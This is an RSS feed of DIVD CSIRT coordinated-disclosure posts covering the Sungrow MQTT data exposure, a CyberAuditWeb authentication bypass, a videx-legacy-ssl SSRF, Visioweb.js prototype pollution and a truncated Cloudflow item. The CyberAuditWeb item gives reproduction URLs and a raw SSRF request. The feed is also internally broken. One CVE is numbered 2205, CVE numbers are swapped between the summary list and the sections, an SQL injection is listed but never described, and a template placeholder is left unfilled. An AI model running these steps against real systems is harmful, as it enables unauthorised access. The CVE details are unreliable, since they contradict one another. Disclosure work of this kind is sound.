<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>DIVD CSIRT</title>
        <description>Making the internet safer through Coordinated Vulnerability Disclosure</description>      
        <link>https://csirt.divd.nl</link>
        <atom:link href="https://csirt.divd.nl/feed.xml" rel="self" type="application/rss+xml" />
            <item>
                <title>Sungrow web portal full disclosure</title>
                <description>&lt;p&gt;DIVD received a vulnerability report from &lt;a href=&quot;https://encs.eu/&quot;&gt;ENCS&lt;/a&gt; about the Sungrow web portal. The vulnerability was discovered by researcher Harm van den Brink.&lt;/p&gt;

&lt;p&gt;DIVD is a CVE Numbering Authority (CNA) and has used these rights to assign the following CVE to the vulnerability included in the write-up below:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-29756&quot; class=&quot;cve secinfo&quot;&gt;CVE-2025-29756&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The rest of this post contains the full technical write-up of the vulnerability.&lt;/p&gt;

&lt;h2 id=&quot;mqtt-endpoint-and-credentials-used-by-the-web-portal-can-be-used-to-obtain-data-of-other-sungrow-inverters-and-potentially-manipulate-them---cve-2025-29756&quot;&gt;MQTT endpoint and credentials used by the web portal can be used to obtain data of other Sungrow inverters (and potentially manipulate them) - CVE-2025-29756&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;CVE: &lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-29756&quot; class=&quot;cve secinfo&quot;&gt;CVE-2025-29756&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Case: &lt;a href=&quot;/cases/DIVD-2025-00009&quot; class=&quot;divd secinfo&quot;&gt;DIVD-2025-00009&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Discovered by: Harm van den Brink&lt;/li&gt;
  &lt;li&gt;Credits: Reported to DIVD by &lt;a href=&quot;https://encs.eu/&quot;&gt;ENCS&lt;/a&gt;. Discovered by researcher Harm van den Brink.&lt;/li&gt;
  &lt;li&gt;Products: Sungrow web portal&lt;/li&gt;
  &lt;li&gt;CVSS: 8.3 (HIGH) in case the connection is read only — &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/AU:Y/V:C&lt;/code&gt;. 9.0 (CRITICAL) in case commands can also be sent — &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/S:P/AU:Y/V:C&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Reference: Case &lt;a href=&quot;/cases/DIVD-2025-00009&quot; class=&quot;divd secinfo&quot;&gt;DIVD-2025-00009&lt;/a&gt;, &lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-29756&quot; class=&quot;cve secinfo&quot;&gt;CVE-2025-29756&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Solution: Restrict access to the MQTT topics to only those that belong to the account, either by using a unique key pair for the devices in an account or by restricting rights on the MQTT broker.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The Sungrow web portal uses an underlying MQTT broker service to receive live updates of the status of the inverter. The web portal makes an API call to retrieve obfuscated/encrypted information about the MQTT broker’s endpoint from the Sungrow API and decrypts those credentials in JavaScript.&lt;/p&gt;

&lt;p&gt;Via the JavaScript debugger it is possible to obtain the MQTT endpoint and credentials and subscribe to the topic(s) for the inverter(s) in the account.&lt;/p&gt;

&lt;p&gt;The messages sent over MQTT are encrypted using asymmetrical encryption, but, again via JavaScript debugging, it is possible to obtain the RSA key that can be used for decryption (and potentially encryption) of MQTT messages.&lt;/p&gt;

&lt;p&gt;This is all more or less expected, as it is impossible to implement an MQTT client in JavaScript in which this is not possible. However, the steps below should not be possible.&lt;/p&gt;

&lt;p&gt;Using the MQTT credentials it is possible to subscribe to all topics, at which point the MQTT client starts receiving metadata about all other Sungrow inverters connected to the same MQTT broker. When we summed up the power production of 20 seconds of MQTT messages, we observed a total of over 400 MW of power.&lt;/p&gt;

&lt;p&gt;We suspect that, by encrypting control messages with the same key and publishing them to these MQTT topics, it might also be possible to change settings on other inverters, but we have not verified this for fear of causing damage to or adverse effects on other inverters.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Suggested actions&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Restrict access to the MQTT topics to only those that belong to the account, either by using a unique key pair for the devices in an account or by restricting rights on the MQTT broker.&lt;/p&gt;

&lt;p&gt;Screenshot 1: MQTT credentials (secrets redacted)&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/DIVD-2025-00009/CVE-2025-29756-01.png&quot; alt=&quot;MQTT credentials obtained via the JavaScript debugger (redacted)&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Screenshot 2: obtaining keys (secrets redacted)&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/DIVD-2025-00009/CVE-2025-29756-02.png&quot; alt=&quot;Obtaining the decryption material via JavaScript debugging (redacted)&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Screenshot 3: obtaining keys (secrets redacted)&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/DIVD-2025-00009/CVE-2025-29756-03.png&quot; alt=&quot;Obtaining the RSA public key via JavaScript debugging (redacted)&quot; /&gt;&lt;/p&gt;
</description>
                <pubDate>Wed, 19 Aug 2026 00:00:00 +0200</pubDate>
                <link>https://csirt.divd.nl/2026/08/19/Sungrow-web-portal/</link>
                <guid isPermaLink="true">https://csirt.divd.nl/2026/08/19/Sungrow-web-portal/</guid>
            </item><item>
                            <title>Case closed: DIVD-2026-00005 - Salesforce Experience Cloud – Data Exposure via Misconfiguration</title>
                            <description>
                                &lt;p&gt;DIVD is researching Salesforce Experience Cloud applications exposing sensitive data due to authorization misconfiguration such as overly permissive guest user permissions, object access and field-level security.&lt;/p&gt;

                            </description>
                            <pubDate>Fri, 07 Aug 2026 02:00:00 +0200</pubDate>
                            <link>https://csirt.divd.nl/cases/DIVD-2026-00005/</link>
                            <guid isPermaLink="true">https://csirt.divd.nl/cases/DIVD-2026-00005/</guid>
                        </item><item>
                            <title>Case closed: DIVD-2026-00003 - Mendix Applications – Data Exposure due to Authorization Misconfiguration</title>
                            <description>
                                &lt;p&gt;DIVD is researching Mendix applications exposing sensitive data due to authorization misconfiguration such as overly permissive entity access rules, role mappings and XPath constraints.&lt;/p&gt;

                            </description>
                            <pubDate>Fri, 07 Aug 2026 02:00:00 +0200</pubDate>
                            <link>https://csirt.divd.nl/cases/DIVD-2026-00003/</link>
                            <guid isPermaLink="true">https://csirt.divd.nl/cases/DIVD-2026-00003/</guid>
                        </item><item>
                            <title>Case closed: DIVD-2026-00002 - DIVD-2026-00002 – Ivanti Endpoint Manager Mobile Vulnerabilities</title>
                            <description>
                                &lt;p&gt;Two critical vulnerabilities in Ivanti Endpoint Manager Mobile allow unauthenticated remote code execution. One vulnerability is actively exploited in the wild, with public proof-of-concept code available.&lt;/p&gt;

                            </description>
                            <pubDate>Fri, 07 Aug 2026 02:00:00 +0200</pubDate>
                            <link>https://csirt.divd.nl/cases/DIVD-2026-00002/</link>
                            <guid isPermaLink="true">https://csirt.divd.nl/cases/DIVD-2026-00002/</guid>
                        </item><item>
                            <title>Case closed: DIVD-2025-00041 - Victim Notification Operation Endgame S03E01</title>
                            <description>
                                &lt;p&gt;DIVD is notifying victims of the various infostealer malware strains from information confiscated by law enforcement as part another episode of Operation Endgame.  If you received a notification, please read the appropriate instructions carefully.&lt;/p&gt;

                            </description>
                            <pubDate>Fri, 31 Jul 2026 02:00:00 +0200</pubDate>
                            <link>https://csirt.divd.nl/cases/DIVD-2025-00041/</link>
                            <guid isPermaLink="true">https://csirt.divd.nl/cases/DIVD-2025-00041/</guid>
                        </item><item>
                            <title>Case closed: DIVD-2025-00018 - Victim Notification Operation Endgame 2.0</title>
                            <description>
                                &lt;p&gt;DIVD is notifying victims of the Latrodectus infostealer, the evolution of IcedID. We are notifying victims that where identified as a part of Operation Endgame 2.0. If you receive a notification, please read the instructions carefully.&lt;/p&gt;

                            </description>
                            <pubDate>Fri, 07 Aug 2026 02:00:00 +0200</pubDate>
                            <link>https://csirt.divd.nl/cases/DIVD-2025-00018/</link>
                            <guid isPermaLink="true">https://csirt.divd.nl/cases/DIVD-2025-00018/</guid>
                        </item><item>
                            <title>Case closed: DIVD-2024-00019 - Victim Notification Operation Endgame</title>
                            <description>
                                &lt;p&gt;The DIVD is notifying victims of several botnets, based on information obtained from the Dutch National Police’s Operation Endgame&lt;/p&gt;

                            </description>
                            <pubDate>Fri, 07 Aug 2026 02:00:00 +0200</pubDate>
                            <link>https://csirt.divd.nl/cases/DIVD-2024-00019/</link>
                            <guid isPermaLink="true">https://csirt.divd.nl/cases/DIVD-2024-00019/</guid>
                        </item><item>
                            <title>Case closed: DIVD-2024-00011 - Six vulnerabilities in Enphase IQ Gateway devices</title>
                            <description>
                                &lt;p&gt;Six critical vulnerabilities have been discovered in Enphase Envoy solar inverters. DIVD is assisting Enphase with locating vulnerable devices.&lt;/p&gt;

                            </description>
                            <pubDate>Fri, 31 Jul 2026 02:00:00 +0200</pubDate>
                            <link>https://csirt.divd.nl/cases/DIVD-2024-00011/</link>
                            <guid isPermaLink="true">https://csirt.divd.nl/cases/DIVD-2024-00011/</guid>
                        </item>
            <item>
                <title>CyberAuditWeb and videx-legacy-ssl full disclosure</title>
                <description>&lt;p&gt;DIVD researchers discovered multiple vulnerabilities in CyberAuditWeb (versions &amp;lt; 9.8.11) and in videx-legacy-ssl (versions 1.0.9 up to at least 1.1.3).&lt;/p&gt;

&lt;p&gt;DIVD is a CVE Numbering Authority (CNA) and has used these rights to assign the following CVEs to the vulnerabilities described in this case:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2205-22367&quot; class=&quot;cve secinfo&quot;&gt;CVE-2205-22367&lt;/a&gt; — SQL injection / credential overwrite in CyberAuditWeb (chained via the authentication bypass)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-22366&quot; class=&quot;cve secinfo&quot;&gt;CVE-2025-22366&lt;/a&gt; — Server-Side Request Forgery in videx-legacy-ssl&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The rest of this post contains the full technical write-up of the vulnerabilities.&lt;/p&gt;

&lt;h2 id=&quot;vulnerability-1-authentication-bypass-via-missing-return-statement--cyberauditweb-fixed-in-9811&quot;&gt;Vulnerability 1: Authentication bypass via missing return statement — CyberAuditWeb (fixed in 9.8.11)&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;CVE: &lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-22366&quot; class=&quot;cve secinfo&quot;&gt;CVE-2025-22366&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Case: &lt;a href=&quot;/cases/DIVD-2024-00043&quot; class=&quot;divd secinfo&quot;&gt;DIVD-2024-00043&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Products: CyberAuditWeb (versions &amp;lt; 9.8.11)&lt;/li&gt;
  &lt;li&gt;CVSS: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/S:N/AU:Y/R:A/V:D/RE:L/U:Green&lt;/li&gt;
  &lt;li&gt;Solution: Add the missing &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;return&lt;/code&gt;/abort after the authorization check in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DownloadServlet&lt;/code&gt;, so that failing the check actually halts request processing. Update to CyberAuditWeb 9.8.11 or later.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The vulnerable code is located in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;caw_ent.jar:com/videx/cyberaudit/webtier/manage/trim/DownloadServlet.class&lt;/code&gt;. The handler checks for a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;manage&lt;/code&gt; session attribute and sends a 404 (“Please log in”) if it is absent — but does not stop execution afterward. Because there is no &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;return&lt;/code&gt; (or equivalent halt) following the error response, control flow continues and unconditionally sets &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;manage&lt;/code&gt; to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;true&lt;/code&gt; on the session regardless of whether the check passed:&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nc&quot;&gt;Boolean&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;manage&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Boolean&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;req&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getSession&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getAttribute&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;manage&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;manage&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
     &lt;span class=&quot;n&quot;&gt;resp&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;sendError&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;404&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;Please log in&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;req&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getSession&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;setAttribute&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;manage&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This can be reproduced by following these steps in order:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Request &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://&amp;lt;host&amp;gt;/CyberAuditWeb/mobile/Login.do&lt;/code&gt; and click “Next” to obtain a valid session, including CSRF tokens.&lt;/li&gt;
  &lt;li&gt;Request &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://&amp;lt;host&amp;gt;/CyberAuditWeb/manage/trim/download/3&lt;/code&gt;. This hits the flawed check above and — regardless of the outcome of the check — sets &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;manage=true&lt;/code&gt; on the session via &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;req.getSession().setAttribute(&quot;manage&quot;, true);&lt;/code&gt;.&lt;/li&gt;
  &lt;li&gt;Request &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://&amp;lt;host&amp;gt;/CyberAuditWeb/manage/ManageHome.act&lt;/code&gt;. The session now carries &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;manage=true&lt;/code&gt;, so this management endpoint is reachable without ever having authenticated.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Suggested actions&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Add a proper halt (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;return;&lt;/code&gt; or equivalent) immediately after the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sendError&lt;/code&gt; call so that failing the authorization check actually prevents the subsequent code from running. Update to CyberAuditWeb 9.8.11 or later, which is reported to return HTTP 404 correctly for this path.&lt;/p&gt;

&lt;h2 id=&quot;vulnerability-2-server-side-request-forgery-in-videx-legacy-ssl-tested-up-to-version-113&quot;&gt;Vulnerability 2: Server-Side Request Forgery in videx-legacy-ssl (tested up to version 1.1.3)&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;CVE: &lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-22367&quot; class=&quot;cve secinfo&quot;&gt;CVE-2025-22367&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Case: &lt;a href=&quot;/cases/DIVD-2024-00043&quot; class=&quot;divd secinfo&quot;&gt;DIVD-2024-00043&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Products: videx-legacy-ssl (tested on version 1.1.3; patch status to be confirmed with vendor)&lt;/li&gt;
  &lt;li&gt;CVSS: CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:L/VI:H/VA:N/SC:L/SI:L/SA:N/S:N/AU:Y/R:A/V:D/RE:L/U:Green&lt;/li&gt;
  &lt;li&gt;Solution: Validate and restrict the destination of proxied/CONNECT-style requests server-side (allowlist of permitted hosts), and reject requests to internal/loopback address ranges. Confirm and apply the vendor’s fix once available.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;videx-legacy-ssl&lt;/code&gt; component accepts a CONNECT-style request whose path embeds a base64-encoded target URL, and issues a GET request to that target on behalf of the server. This allows an attacker to make the server perform requests against arbitrary destinations, including internal-only services such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;127.0.0.1&lt;/code&gt;, effectively bypassing network-level access restrictions.&lt;/p&gt;

&lt;div class=&quot;language-http highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;err&quot;&gt;CONNECT 1111:a@eradix.nl/CyberAuditWeb/services/../../ssrf/aHR0cHM6Ly8xMjcuMC4wLjE6ODQ0Mi9DeWJlckF1ZGl0V2ViL0hvbWUuYWN0 HTTP/1.1
Host: 192.168.132.129:54443
&amp;lt;headers omitted for the PoC&amp;gt;

userName=TopLevel&amp;amp;password=TopLevel
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The base64 segment in the path decodes to a target URL (in this example, a request to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://127.0.0.1:8442/CyberAuditWeb/Home.act&lt;/code&gt;), demonstrating that the server can be made to issue requests to arbitrary destinations of the attacker’s choosing, including addresses that should only be reachable internally.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Suggested actions&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Restrict the set of destinations the proxy/CONNECT handler will forward to (allowlist known-good hosts), explicitly block loopback and private address ranges, and remove or authenticate the base64-URL-in-path pattern rather than trusting it directly. Confirm with the vendor whether this is fixed in a version beyond 1.1.3, since the source PoC only confirms presence up to that version.&lt;/p&gt;

&lt;h2 id=&quot;more-information&quot;&gt;More information&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-22366&quot; class=&quot;cve secinfo&quot;&gt;CVE-2025-22366&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-22367&quot; class=&quot;cve secinfo&quot;&gt;CVE-2025-22367&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
                <pubDate>Fri, 31 Jul 2026 00:00:00 +0200</pubDate>
                <link>https://csirt.divd.nl/2026/07/31/full-disclosure-cyberauditweb/</link>
                <guid isPermaLink="true">https://csirt.divd.nl/2026/07/31/full-disclosure-cyberauditweb/</guid>
            </item>
            <item>
                <title>Visioweb.js</title>
                <description>&lt;p&gt;During a penetration test, a client-side prototype pollution vulnerability was discovered in the Visioweb.js library, developed by Visio Globe. The vulnerability occurs in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;getURLParameters&lt;/code&gt; function and, when combined with a gadget elsewhere in the application, can lead to DOM-based cross-site scripting (XSS).&lt;/p&gt;

&lt;p&gt;DIVD is a CVE Numbering Authority (CNA) and has used these rights to assign the following CVE to the vulnerability included in the write-up below:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;CVE-2022-3901&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The rest of this post contains the full technical write-up of the vulnerability.&lt;/p&gt;

&lt;h2 id=&quot;client-side-prototype-pollution-leading-to-dom-xss---cve-2022-3901&quot;&gt;Client-side prototype pollution leading to DOM-XSS - CVE-2022-3901&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;CVE: CVE-2022-3901&lt;/li&gt;
  &lt;li&gt;Discovered by: Jan-Jaap Korpershoek&lt;/li&gt;
  &lt;li&gt;Credits: Jan-Jaap Korpershoek (finder), Victor Pasman (DIVD, analyst)&lt;/li&gt;
  &lt;li&gt;Products: Visioweb.js (Visio Globe), affected platforms: Windows, MacOS, Linux&lt;/li&gt;
  &lt;li&gt;Affected versions: all versions up to and including 1.10.6&lt;/li&gt;
  &lt;li&gt;CVSS: 7.2 (High) — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N&lt;/li&gt;
  &lt;li&gt;CWE: CWE-1321 — Improperly Controlled Modification of Object Prototype Attributes (‘Prototype Pollution’)&lt;/li&gt;
  &lt;li&gt;CAPEC: CAPEC-588 — DOM-Based XSS&lt;/li&gt;
  &lt;li&gt;Reference: https://csirt.divd.nl/CVE-2022-3901&lt;/li&gt;
  &lt;li&gt;Solution: Upgrade to Visioweb 1.10.7&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;technical-write-up&quot;&gt;Technical write-up&lt;/h3&gt;

&lt;p&gt;Prototypes are the mechanism by which JavaScript objects inherit features from one another. Each object has a prototype, which can be accessed using the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;__proto__&lt;/code&gt; parameter. This prototype contains fields and functions that are accessible from the object itself so if a parameter is not overridden on the object itself, the value from the prototype is used instead.&lt;/p&gt;

&lt;p&gt;If the prototype of an object can be changed (“polluted”) by user-controlled input, this is called a prototype pollution vulnerability.&lt;/p&gt;

&lt;p&gt;Client-side prototype pollution is not, on its own, a vulnerability with direct impact. However, when paired with a “gadget” any piece of JavaScript that evaluates the user-controlled prototype value or inserts it unsafely into the DOM — it can lead to vulnerabilities such as DOM-based XSS or open redirection, potentially allowing an attacker to control JavaScript execution on the page.
The affected code path is the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;getURLParameters&lt;/code&gt; function, which parses URL parameters without adequately guarding against prototype pollution. This function is part of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mapviewer-uikit&lt;/code&gt; code that ships as an integral component of the Visioweb distribution — it is not an optional, standalone sample that a consumer would typically strip out. For that reason the issue is treated as affecting the product itself, across all versions up to and including 1.10.6, rather than being scoped to a detached demo. The behaviour was reproduced against the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mapviewer-uikit&lt;/code&gt; code shipped in the ZIP package for VisioWeb 1.10.6.
To keep the impact assessment precise, it is worth separating what was directly demonstrated from what is conditional:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What was demonstrated.&lt;/strong&gt; A proof-of-concept payload targeting &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;getURLParameters&lt;/code&gt; confirmed the prototype pollution primitive: by supplying a crafted URL, arbitrary properties on JavaScript objects used by the page could be overwritten. This is the finding that was actually reproduced during the engagement.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What is conditional.&lt;/strong&gt; Prototype pollution by itself does not execute attacker-controlled script. Escalation to DOM-based XSS (or open redirection) requires a suitable gadget — downstream code that reads the polluted value and passes it into a dangerous sink (the DOM or a JavaScript execution context). Whether that escalation is reachable depends on the specific gadgets present in a given application built on top of Visioweb, and a full end-to-end XSS chain was not demonstrated in this write-up. The CVE reflects the realistic worst case (DOM-XSS), because a polluted prototype can influence other components on the same page.
Consumers should therefore treat the confirmed prototype pollution as the concrete defect, and the DOM-XSS as the escalation it enables wherever a matching gadget exists in their own code.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Suggested actions&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Upgrade Visioweb.js to version 1.10.7 or later, where this issue has been fixed.&lt;/li&gt;
  &lt;li&gt;If upgrading is not immediately possible, validate and sanitize any user-controlled input before it is used to set or update object properties, and avoid passing user input directly into functions that traverse or assign nested object paths (such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;getURLParameters&lt;/code&gt;).&lt;/li&gt;
  &lt;li&gt;Review any custom gadgets in your application that consume prototype-polluted values, since the impact of this vulnerability depends on what downstream code does with the polluted object.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;timeline&quot;&gt;Timeline&lt;/h2&gt;

&lt;p&gt;{timeline from casefile — not provided in the source documents; please fill in reservation/disclosure/publication dates}&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;CVE reserved: 2022-11-08&lt;/li&gt;
  &lt;li&gt;CVE published: 2023-02-20&lt;/li&gt;
  &lt;li&gt;CVE Full disclosure: 2026-07-30&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;more-information&quot;&gt;More information&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;CVE record: https://csirt.divd.nl/CVE-2022-3901&lt;/li&gt;
  &lt;li&gt;CWE-1321: Improperly Controlled Modification of Object Prototype Attributes (‘Prototype Pollution’)&lt;/li&gt;
  &lt;li&gt;BlackFan prototype pollution payloads: https://github.com/BlackFan/client-side-prototype-pollution&lt;/li&gt;
  &lt;li&gt;PortSwigger — Client-side prototype pollution: https://portswigger.net/web-security/prototype-pollution&lt;/li&gt;
&lt;/ul&gt;
</description>
                <pubDate>Thu, 30 Jul 2026 00:00:00 +0200</pubDate>
                <link>https://csirt.divd.nl/2026/07/30/visioweb-full-disclosure/</link>
                <guid isPermaLink="true">https://csirt.divd.nl/2026/07/30/visioweb-full-disclosure/</guid>
            </item>
            <item>
                <title>Cloudflow</title>
                <description>&lt;p&gt;Multiple vulnerabilities were identified within the Hybrid Software Cloudflow CLOUDFLOW PROOFSCOPE module during an external penetration test from a black-box perspective. The issues allow an unauthenticated attacker with network access to the application to retrieve arbitrary files from the underlying server’s local filesystem, to list and download files stored in the application’s built-in storage, and to upload files to that storage without authentication.&lt;/p&gt;

&lt;p&gt;DIVD is a CVE Numbering Authority (CNA) and has used these rights to assign the following CVEs to the vulnerabilities included in the write-up below:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-41216&quot; class=&quot;cve secinfo&quot;&gt;CVE-2022-41216&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-41217&quot; class=&quot;cve secinfo&quot;&gt;CVE-2022-41217&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The rest of this post contains the full technical write-up of the vulnerabilities.&lt;/p&gt;

&lt;h2 id=&quot;unauthenticated-local-file-inclusion---cve-2022-41216&quot;&gt;Unauthenticated Local File Inclusion - CVE-2022-41216&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;CVE: &lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-41216&quot; class=&quot;cve secinfo&quot;&gt;CVE-2022-41216&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Case: &lt;a href=&quot;/cases/DIVD-2022-00052&quot; class=&quot;divd secinfo&quot;&gt;DIVD-2022-00052&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Discovered by: Witold Gorecki&lt;/li&gt;
  &lt;li&gt;Credits: Witold Gorecki (witold@gorecki.org, researcher), Victor Pasman (Analyst DIVD)&lt;/li&gt;
